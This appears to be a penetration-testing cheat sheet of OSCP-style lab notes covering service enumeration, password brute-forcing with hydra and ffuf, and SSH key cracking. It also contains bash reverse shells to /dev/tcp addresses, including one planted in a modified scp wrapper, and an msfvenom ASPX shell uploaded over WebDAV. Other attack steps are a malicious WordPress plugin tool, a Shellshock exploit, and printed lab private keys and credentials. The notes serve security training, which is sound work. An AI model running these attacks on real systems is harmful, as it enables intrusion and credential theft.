https://github.com/0xsyr0/oscp
ping $IP #63 ttl = linux #127 ttl = windows
nmap -p- --min-rate 1000 $IP
nmap -p- --min-rate 1000 $IP -Pn #disables the ping command and only scans ports
nmap -p <ports> -sV -sC -A $IP
nmap -sS -p- --min-rate=1000 10.11.1.229 -Pn #stealth scans
target/release/rustscan -a 10.11.1.252
sudo nmap -F -sU -sV $IP
#!/bin/bash
target="$1"
ports=$(nmap -p- --min-rate 1000 "$target" | grep "^ *[0-9]" | grep "open" | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
echo "Running second nmap scan with open ports: $ports"
nmap -p "$ports" -sC -sV -A "$target"
autorecon 192.168.238.156 --nmap-append="--min-rate=2500" --exclude-tags="top-100-udp-ports" --dirbuster.threads=30 -vv
ftp -A $IP
ftp $IP
anonymous:anonymous
put test.txt #check if it is reflected in a http port
ftp> binary
200 Type set to I.
ftp> put winPEASx86.exe
hydra -l steph -P /usr/share/wfuzz/wordlist/others/common_pass.txt 10.1.1.68 -t 4 ftp
hydra -l steph -P /usr/share/wordlists/rockyou.txt 10.1.1.68 -t 4 ftp
wget -r ftp://steph:[email protected]/
wget -r ftp://anonymous:[email protected]/
find / -name Settings.* 2>/dev/null #looking through the files
ls
BROCHURE-TEMPLATE.pdf CALENDAR-TEMPLATE.pdf FUNCTION-TEMPLATE.pdf NEWSLETTER-TEMPLATE.pdf REPORT-TEMPLATE.pdf
exiftool *
======== FUNCTION-TEMPLATE.pdf
ExifTool Version Number : 12.57
File Name : FUNCTION-TEMPLATE.pdf
Directory : .
File Size : 337 kB
File Modification Date/Time : 2022:11:02 00:00:00-04:00
File Access Date/Time : 2023:05:28 22:42:28-04:00
File Inode Change Date/Time : 2023:05:28 22:40:43-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 1
Language : en-US
Tagged PDF : Yes
Author : Cassie
Creator : Microsoft® Word 2016
Create Date : 2022:11:02 11:38:02+02:00
Modify Date : 2022:11:02 11:38:02+02:00
Producer : Microsoft® Word 2016
======== NEWSLETTER-TEMPLATE.pdf
ExifTool Version Number : 12.57
File Name : NEWSLETTER-TEMPLATE.pdf
Directory : .
File Size : 739 kB
File Modification Date/Time : 2022:11:02 00:00:00-04:00
File Access Date/Time : 2023:05:28 22:42:37-04:00
File Inode Change Date/Time : 2023:05:28 22:40:44-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 2
Language : en-US
Tagged PDF : Yes
Author : Mark
Creator : Microsoft® Word 2016
Create Date : 2022:11:02 11:11:56+02:00
Modify Date : 2022:11:02 11:11:56+02:00
Producer : Microsoft® Word 2016
======== REPORT-TEMPLATE.pdf
ExifTool Version Number : 12.57
File Name : REPORT-TEMPLATE.pdf
Directory : .
File Size : 889 kB
File Modification Date/Time : 2022:11:02 00:00:00-04:00
File Access Date/Time : 2023:05:28 22:42:49-04:00
File Inode Change Date/Time : 2023:05:28 22:40:45-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 2
Language : en-US
Tagged PDF : Yes
Author : Robert
Creator : Microsoft® Word 2016
Create Date : 2022:11:02 11:08:26+02:00
Modify Date : 2022:11:02 11:08:26+02:00
Producer : Microsoft® Word 2016
5 image files read
sudo apt upgrade && sudo apt install putty-tools
cat keeper.txt
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
puttygen keeper.txt -O private-openssh -o id_rsa
chmod 600 id_rsa
ssh [email protected] -i id_rsa
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa [email protected] -t 'bash -i >& /dev/tcp/192.168.119.140/443 0>&1'
nc -nvlp 443
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1\
-oHostKeyAlgorithms=+ssh-rsa\
-oCiphers=+aes256-cbc\
[email protected] -p 22000
hydra -l userc -P /usr/share/wfuzz/wordlist/others/common_pass.txt 10.1.1.27 -t 4 ssh
hydra -L users.txt -p WallAskCharacter305 192.168.153.139 -t 4 ssh -s 42022
chmod 600 id_rsa
ssh [email protected] -i id_rsa
cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8J1/BFjH/Oet/zx+bKUUop1IuGd93QKio7Dt7Xl/J91c2EvGkYDKL5xGbfQRxsT9IePkVINONXQHmzARaNS5lE+SoAfFAnCPnRJ+KrnJdPxYf4OQEiAxHwRJHvbYaxEEuye7GKP6V0MdSvDtqKsFk0YRFVdPKuforL/8SYtSfqYUywUJ/ceiZL/2ffGGBJ/trQJ2bBL4QcOg05ZxrEoiTJ09+Sw3fKrnhNa5/NzYSib+0llLtlGbagBh3F9n10yqqLlpgTjDp5PKenncFiKl1llJlQGcGhLXxeoTI59brTjssp8J+z6A48h699CexyGe02GZfKLLLE+wKn/4luY0Ve8tnGllEdNFfGFVm7WyTmAO2vtXMmUbPaavDWE9cJ/WFXovDKtNCJxpyYVPy2f7aHYR37arLL6aEemZdqzDwl67Pu5y793FLd41qWHG6a4XD05RHAD0ivsJDkypI8gMtr3TOmxYVbPmq9ecPFmSXxVEK8oO3qu2pxa/e4izXBFc= USERZ@example #new user found
ssh2john id_ecdsa > id_ecdsa.hash
cat id_ecdsa.hash
id_ecdsa:$sshng$6$16$0ef9e445850d777e7da427caa9b729cc$359$6f70656e7373682d6b65792d7631000000000a6165733235362d6374720000000662637279707400000018000000100ef9e445850d777e7da427caa9b729cc0000001000000001000000680000001365636473612d736861322d6e69737470323536000000086e697374703235360000004104afad8408da4537cd62d9d3854a02bf636ce8542d1ad6892c1a4b8726fbe2148ea75a67d299b4ae635384c7c0ac19e016397b449602393a98e4c9a2774b0d2700000000b0d0768117bce9ff42a2ba77f5eb577d3453c86366dd09ac99b319c5ba531da7547145c42e36818f9233a7c972bf863f6567abd31b02f266216c7977d18bc0ddf7762c1b456610e9b7056bef0affb6e8cf1ec8f4208810f874fa6198d599d2f409eaa9db6415829913c2a69da7992693de875b45a49c1144f9567929c66a8841f4fea7c00e0801fe44b9dd925594f03a58b41e1c3891bf7fd25ded7b708376e2d6b9112acca9f321db03ec2c7dcdb22d63$16$183
john --wordlist=/usr/share/wordlists/rockyou.txt id_ecdsa.hash
fireball (id_ecdsa)
/etc/ssh/*pub #Use this to view the type of key you have aka (ecdsa)
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBK6SiUV5zqxqNJ9a/p9l+VpxxqiXnYri40OjXMExS/tP0EbTAEpojn4uXKOgR3oEaMmQVmI9QLPTehCFLNJ3iJo= root@example01
/home/userE/.ssh/id_ecdsa.pub #public key
/home/userE/.ssh/id_ecdsa #private key
this means no password! Use it to login as a user on the box
ssh2john id_rsa > id_rsa.hash
id_rsa has no password!
This means you are most likely using the private key for the wrong user, try doing a cat /etc/passwd in order to find other users to try it on. This error came from me trying a private key on the wrong user and private key which has no password asking for a password
ssh [email protected] -p43022 -i id_rsa
Warning: Identity file id_rsa not accessible: No such file or directory.
The authenticity of host '[192.168.214.125]:43022 ([192.168.214.125]:43022)' can't be established.
ED25519 key fingerprint is SHA256:rNaauuAfZyAq+Dhu+VTKM8BGGiU6QTQDleMX0uANTV4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.214.125]:43022' (ED25519) to the list of known hosts.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
[email protected]: Permission denied (publickey,password).
scp -r -i id_rsa [email protected]:/path/to/file/you/want .
kali@kali:~/home/userA$ cat scp_wrapper.sh
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
'scp'*)
$SSH_ORIGINAL_COMMAND
;;
*)
echo "ACCESS DENIED."
scp
;;
esac
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
'scp'*)
$SSH_ORIGINAL_COMMAND
;;
*)
echo "ACCESS DENIED."
bash -i >& /dev/tcp/192.168.18.11/443 0>&1
;;
esac
scp -i .ssh/id_rsa scp_wrapper.sh [email protected]:/home/userA/
kali@kali:~$ sudo nc -nlvp 443
kali@kali:~/home/userA$ ssh -i .ssh/id_rsa [email protected]
PTY allocation request failed on channel 0
ACCESS DENIED.
connect to [192.168.118.11] from (UNKNOWN) [192.168.120.29] 48666
bash: cannot set terminal process group (932): Inappropriate ioctl for device
bash: no job control in this shell
userA@sorcerer:~$ id
id
uid=1003(userA) gid=1003(userA) groups=1003(userA)
userA@sorcerer:~$
telnet -l jess 10.2.2.23
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25
nc -nv $IP 25
telnet $IP 25
EHLO ALL
VRFY <USER>
SMTP PostFix Shellshock
https://gist.github.com/YSSVirus/0978adadbb8827b53065575bb8fbcb25
python2 shellshock.py 10.11.1.231 [email protected] 192.168.119.168 139 [email protected] #VRFY both useradm and root exist
dnsrecon -d heist.example -n 192.168.54.165 -t axfr
whatweb -a 3 $IP
nikto -ask=no -h http://$IP 2>&1
dirb http://target.com
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://$IP/FUZZ
ffuf -w /usr/share/wordlists/dirb/big.txt -u http://$IP/FUZZ
gobuster dir -u http://10.11.1.71:80/site/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e txt,php,html,htm
gobuster dir -u http://10.11.1.71:80/site/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e txt,php,html,htm
feroxbuster -u http://<$IP> -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -e
feroxbuster -u http://192.168.138.249:8000/cms/ -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -e -C 404 #if we dont want to see any denied
feroxbuster -u http://192.168.138.249:8000/cms/ -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -e -C 404,302 #if website redirects
curl http://$ip/api/
[{"string":"/api/","id":13},{"string":"/article/","id":14},{"string":"/article/?","id":15},{"string":"/user/","id":16},{"string":"/user/?","id":17}]
curl http://$ip/api/user/
[{"login":"UserA","password":"test12","firstname":"UserA","lastname":"UserA","description":"Owner","id":10},{"login":"UserB","password":"test13","firstname":"UserB","lastname":"UserB","description":"Owner","id":30},{"login":"UserC","password":"test14","firstname":"UserC","lastname":"UserC","description":"Owner","id":6o},{"login":"UserD","password":"test15","firstname":"UserD","lastname":"UserD","description":"Owner","id":7o},{"login":"UserE","password":"test16","firstname":"UserE","lastname":"UserE","description":"Owner","id":100}]
Configuration files such as .ini, .config, and .conf files.
Application source code files such as .php, .aspx, .jsp, and .py files.
Log files such as .log, .txt, and .xml files.
Backup files such as .bak, .zip, and .tar.gz files.
Database files such as .mdb, .sqlite, .db, and .sql files.
jadx-gui
APK stands for Android Package Kit. It is the file format used by the Android operating system to distribute and install applications. An APK file contains all the necessary components and resources of an Android application, such as code, assets, libraries, and manifest files.
ffuf -c -request request.txt -request-proto http -mode clusterbomb -fw 1 -w /usr/share/wordlists/rockyou.txt:FUZZ
POST /index.php HTTP/1.1
Host: 10.11.1.252:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://10.11.1.252:8000
Connection: close
Referer: http://10.11.1.252:8000/login.php
Cookie: PHPSESSID=89i7fj326pnqqarv9c03dpcuu2
Upgrade-Insecure-Requests: 1
username=admin&password=FUZZ&submit=Log+In
[Status: 302, Size: 63, Words: 10, Lines: 1, Duration: 165ms]
* FUZZ: asdfghjkl;'
[Status: 302, Size: 63, Words: 10, Lines: 1, Duration: 172ms]
* FUZZ: asdfghjkl;\\'
https://cybersecnerds.com/ffuf-everything-you-need-to-know/
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/put-method-webdav
80/tcp open http Microsoft IIS httpd 10.0
| http-webdav-scan:
| WebDAV type: Unknown
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE, PROPPATCH, MKCOL, LOCK, UNLOCK
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$IP LPORT=80 -f aspx -o shell.aspx
curl -T 'shell.aspx' 'http://$VictimIP/' -u <username>:<password>
http://$VictimIP/shell.aspx
nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.191] from (UNKNOWN) [192.168.153.122] 49997
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
service\defaultservice
wpscan --url http://$IP/wp/
wpscan --url http://$IP/wp/wp-login.php -U Admin --passwords /usr/share/wordlists/rockyou.txt --password-attack wp-login
[+] simple-file-list
| Location: http://192.168.192.105/wp-content/plugins/simple-file-list/
| Last Updated: 2023-05-17T17:12:00.000Z
| [!] The version is out of date, the latest version is 6.1.7
https://www.exploit-db.com/exploits/48979
Simple File List < 4.2.3 - Unauthenticated Arbitrary File Upload
https://github.com/wetw0rk/malicious-wordpress-plugin
python3 wordpwn.py 192.168.119.140 443 Y
meterpreter > shell
Process 1098 created.
Channel 0 created.
python3 -c 'import pty;pty.spawn("/bin/bash")'
droopescan scan drupal -u http://10.11.1.50:80
sudo wget -r http://192.168.192.144/.git/ #dirb showed a .git folder
cd 192.168.192.144 #Move into the .git directory localy
sudo git show #Run a git show command in order to expose more information as below.
commit 213092183092183092138 (HEAD -> main)
Author: Stuart <[email protected]>
Date: Fri Nov 18 16:58:34 2022 -0500
Security Update
diff --git a/configuration/database.php b/configuration/database.php
index 55b1645..8ad08b0 100644
--- a/configuration/database.php
+++ b/configuration/database.php
@@ -2,8 +2,9 @@
class Database{
private $host = "localhost";
private $db_name = "staff";
- private $username = "[email protected]";
- private $password = "password123";
+ private $username = "";
+ private $password = "";
+// Cleartext creds cannot be added to public repos!
public $conn;
public function getConnection() {
$this->conn = null;
http://192.168.214.150:8080/search
{"query":"*","result":""}
curl -X GET "http://192.168.214.150:8080/search?query=*"
{"query":"*","result":""}
curl -X GET "http://192.168.214.150:8080/search?query=lol"
{"query":"lol","result":""}
CVE-2014-6287 https://www.exploit-db.com/exploits/49584 #HFS (HTTP File Server) 2.3.x - Remote Command Execution
CVE-2015-6518 https://www.exploit-db.com/exploits/24044 phpliteadmin <= 1.9.3 Remote PHP Code Injection Vulnerability
CVE-XXXX-XXXX https://www.exploit-db.com/exploits/25971 Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion
CVE-2009-4623 https://www.exploit-db.com/exploits/9623 Advanced comment system1.0 Remote File Inclusion Vulnerability
https://github.com/hupe1980/CVE-2009-4623/blob/main/exploit.py
CVE-2018-18619 https://www.exploit-db.com/exploits/45853 Advanced Comment System 1.0 - SQL Injection
80/tcp open http Apache httpd 2.4.49
./50383.sh targets.txt /etc/ssh/*pub
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBK6SiUV5zqxqNJ9a/p9l+VpxxqiXnYri40OjXMExS/tP0EbTAEpojn4uXKOgR3oEaMmQVmI9QLPTehCFLNJ3iJo= root@example01
./50383.sh targets.txt /home/userE/.ssh/id_ecdsa
192.168.138.245:8000
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAO+eRFhQ
13fn2kJ8qptynMAAAAEAAAAAEAAABoAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlz
dHAyNTYAAABBBK+thAjaRTfNYtnThUoCv2Ns6FQtGtaJLBpLhyb74hSOp1pn0pm0rmNThM
fArBngFjl7RJYCOTqY5Mmid0sNJwAAAACw0HaBF7zp/0Kiunf161d9NFPIY2bdCayZsxnF
ulMdp1RxRcQuNoGPkjOnyXK/hj9lZ6vTGwLyZiFseXfRi8Dd93YsG0VmEOm3BWvvCv+26M
8eyPQgiBD4dPphmNWZ0vQJ6qnbZBWCmRPCpp2nmSaT3odbRaScEUT5VnkpxmqIQfT+p8AO
CAH+RLndklWU8DpYtB4cOJG/f9Jd7Xtwg3bi1rkRKsyp8yHbA+wsfc2yLWM=
-----END OPENSSH PRIVATE KEY-----
on our initial scan we were able to find a pdf file that included credentials and instructions to setup an umbraco cms. "IIS is configured to only allow access to Umbraco the server is FQDN at the moment e.g. example02.example.com, not just example02"
nmap -p 80,443,5985,14080,47001 -sC -sV -A 192.168.138.247
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-25 18:58 EDT
Nmap scan report for example02.example.com (192.168.138.247)
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.54 ((Win64) OpenSSL/1.1.1p PHP/8.1.10)
|_http-server-header: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.1.10
|_http-title: example - New Hire Information
443/tcp open ssl/http Apache httpd 2.4.54 ((Win64) OpenSSL/1.1.1p PHP/8.1.10)
|_http-server-header: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.1.10
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-title: example - New Hire Information
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
14080/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unexampleble because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016|10|2012 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows Server 2016 (89%), Microsoft Windows 10 (86%), Microsoft Windows 10 1607 (86%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (85%), Microsoft Windows Server 2012 R2 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 51.93 ms 192.168.119.1
2 51.88 ms example02.example.com (192.168.138.247)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.34 seconds
127.0.0.1 localhost
127.0.1.1 kali
192.168.138.247 example02.example.com
nmap -p 80,443,5985,14080,47001 -sC -sV -A example02.example.com
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-25 19:00 EDT
Nmap scan report for example02.example.com (192.168.138.247)
Host is up (0.092s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.54 ((Win64) OpenSSL/1.1.1p PHP/8.1.10)
|_http-server-header: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.1.10
|_http-title: example - New Hire Information
443/tcp open ssl/http Apache httpd 2.4.54 (OpenSSL/1.1.1p PHP/8.1.10)
|_http-server-header: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.1.10
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
| tls-alpn:
|_ http/1.1
|_http-title: example - New Hire Information
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
14080/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-trane-info: Problem with XML parsing of /evox/about
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016|10|2012 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2012
Aggressive OS guesses: Microsoft Windows Server 2016 (89%), Microsoft Windows 10 (85%), Microsoft Windows Server 2012 (85%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (85%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows 10 1607 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 100.83 ms 192.168.119.1
2 100.82 ms example02.example.com (192.168.138.247)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.21 seconds
In this situation we used another service on port 4555 and reset the password of ryuu to test in order to login into pop3 and grab credentials for ssh. SSH later triggered an exploit which caught us a restricted shell as user ryuu
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -p 110 $IP
telnet $IP 110 #Connect to pop3
USER ryuu #Login as user
PASS test #Authorize as user
list #List every message
retr 1 #retrieve the first email
nmap -sV -p 111 --script=rpcinfo $IP
rpcdump.py 10.1.1.68 -p 135
Port 139 NetBIOS stands for Network Basic Input Output System. It is a software protocol that allows applications, PCs, and Desktops on a local area network (LAN) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one (the client) sends a command to “call” another client (the server) over TCP Port 139. (extracted from here)
Port 445 While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
nmap --script smb-enum-shares.nse -p445 $IP
nmap –script smb-enum-users.nse -p445 $IP
nmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-services.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse -p445 $IP
nmap --script smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-cve-2017-7494.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse,smb-vuln-regsvc-dos.nse,smb-vuln-webexec.nse -p445 $IP
nmap --script smb-vuln-cve-2017-7494 --script-args smb-vuln-cve-2017-7494.check-version -p445 $IP
nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery $IP
smbmap
smbmap -H $IP
smbmap -u "user" -p "pass" -H $IP
smbmap -H $IP -u null
smbmap -H $IP -P 139 2>&1
smbmap -H $IP -P 445 2>&1
smbmap -u null -p "" -H $IP -P 139 -x "ipconfig /all" 2>&1
smbmap -u null -p "" -H $IP -P 445 -x "ipconfig /all" 2>&1
rpcclient
rpcclient -U "" -N $IP
enumdomusers
enumdomgroups
queryuser 0x450
enumprinters
querydominfo
createdomuser
deletedomuser
lookupnames
lookupsids
lsaaddacctrights
lsaremoveacctrights
dsroledominfo
dsenumdomtrusts
enum4linux
enum4linux -a -M -l -d $IP 2>&1
enum4linux -a -u "" -p "" 192.168.180.71 && enum4linux -a -u "guest" -p "" $IP
crackmapexec
crackmapexec smb $IP
crackmapexec smb $IP -u "guest" -p ""
crackmapexec smb $IP --shares -u "guest" -p ""
crackmapexec smb $IP --shares -u "" -p ""
crackmapexec smb 10.1.1.68 -u 'guest' -p '' --users
smbclient
smbclient -U '%' -N \\\\<smb $IP>\\<share name>
smbclient -U 'guest' \\\\<smb $IP>\\<share name>
prompt off
recurse on
mget *
smbclient -U null -N \\\\<smb $IP>\\<share name>
protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED
smbclient -U '%' -N \\\\$IP\\<share name> -m SMB2
smbclient -U '%' -N \\\\$IP\\<share name> -m SMB3
smbclient -L \\192.168.214.125 -U "" -N -p 12445
Sharename Type Comment
--------- ---- -------
Sarge Disk USERA Files
IPC$ IPC IPC Service (Samba 4.13.2)
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.214.125 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
smbclient '//192.168.214.125/Sarge' -p 12445
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
nmap -p 143 --script imap-ntlm-info $IP
sudo nmap --script snmp-* -sU -p161 $IP
sudo nmap -sU -p 161 --script snmp-brute $IP --script-args snmp-brute.communitiesdb=/usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt
snmpwalk -c public -v1 $IP
https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp
apt-get install snmp-mibs-downloader
sudo download-mibs
sudo vi /etc/snmp/snmp.conf
$ cat /etc/snmp/snmp.conf
# As the snmp packages come without MIB files due to license reasons, loading
# of MIBs is disabled by default. If you added the MIBs you can reenable
# loading them by commenting out the following line.
#mibs :
# If you want to globally change where snmp libraries, commands and daemons
# look for MIBS, change the line below. Note you can set this for individual
# tools with the -M option or MIBDIRS environment variable.
#
# mibdirs /usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf
sudo snmpbulkwalk -c public -v2c $IP .
sudo snmpbulkwalk -c public -v2c $IP NET-SNMP-EXTEND-MIB::nsExtendOutputFull
ldapsearch -x -H ldap://192.168.214.122
# extended LDIF
#
# LDAPv3
# base <> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 32 No such object
text: 0000208D: NameErr: DSID-0310021C, problem 2001 (NO_OBJECT), data 0, best
match of:
''
# numResponses: 1
ldapsearch -x -H ldap://192.168.214.122 -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
